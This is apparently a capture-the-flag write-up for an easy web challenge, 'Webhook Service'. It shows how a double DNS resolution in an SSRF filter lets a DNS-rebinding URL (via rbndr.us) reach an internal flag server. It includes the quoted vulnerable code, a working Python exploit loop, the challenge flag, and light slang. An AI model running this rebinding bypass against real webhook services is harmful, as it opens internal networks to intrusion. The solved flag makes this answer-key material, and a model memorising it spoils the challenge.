Webhook Service - Web
Points: 100 | Difficulty: Easy | Flag: 0xfun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1} | Solved by: Smothy @ 0xN1umb

what we got
webhook service that lets u register URLs and trigger them. source code provided which is always nice
looking at app.py we see theres a sneaky internal flag server:
threading.Thread(target=lambda: HTTPServer(('127.0.0.1', 5001), FlagHandler).serve_forever(), daemon=True).start()POST to 127.0.0.1:5001/flag = flag. ez right? nope they got protection:
def is_ip_allowed(url):
parsed = urlparse(url)
host = parsed.hostname or ''
try:
ip = socket.gethostbyname(host)
except Exception:
return False, f'Could not resolve host'
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local or ip_obj.is_reserved:
return False, f'IP "{ip}" not allowed'
return True, Noneblocks all private/loopback IPs. but wait...
the vulnerability
look at /trigger:
@app.route('/trigger', methods=['POST'])
def trigger_webhook():
# ... get webhook ...
allowed, reason = is_ip_allowed(url) # DNS lookup #1
if not allowed:
return jsonify({'error': reason}), 400
try:
resp = requests.post(url, timeout=5) # DNS lookup #2 !!!DNS gets resolved TWICE - once in the check, once in requests.post()
classic TOCTOU (time-of-check time-of-use) vulnerability. if we can make DNS return different IPs between these two calls... we win
the solve
DNS rebinding time babyyyy
used rbndr.us - service that alternates between two IPs randomly:
- format:
<hex-ip1>.<hex-ip2>.rbndr.us - 8.8.8.8 in hex =
08080808(public IP to pass check) - 127.0.0.1 in hex =
7f000001(localhost to hit flag server)
final payload: http://08080808.7f000001.rbndr.us:5001/flag
import requests
import time
TARGET = "http://chall.0xfun.org:59990"
REBIND_DOMAIN = "08080808.7f000001.rbndr.us"
WEBHOOK_URL = f"http://{REBIND_DOMAIN}:5001/flag"
# its probabilistic so we spam it lol
for attempt in range(30):
r = requests.post(f"{TARGET}/register", data={"url": WEBHOOK_URL})
if r.status_code != 200:
continue
webhook_id = r.json().get("id")
for _ in range(5):
r2 = requests.post(f"{TARGET}/trigger", data={"id": webhook_id})
if "0xfun{" in r2.text:
print(f"FLAG: {r2.text}")
exit(0)
time.sleep(0.3)ran it and on attempt 7:
Trigger 3: 200 - {"response":"0xfun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}"...

flag
0xfun{dns_r3b1nd1ng_1s_sup3r_c00l!_ff4bd67cd1}
ngl dns rebinding is lowkey one of my fav ssrf bypasses. the fact that DNS resolution happens twice in different places is such a common bug pattern fr
smothy out ✌️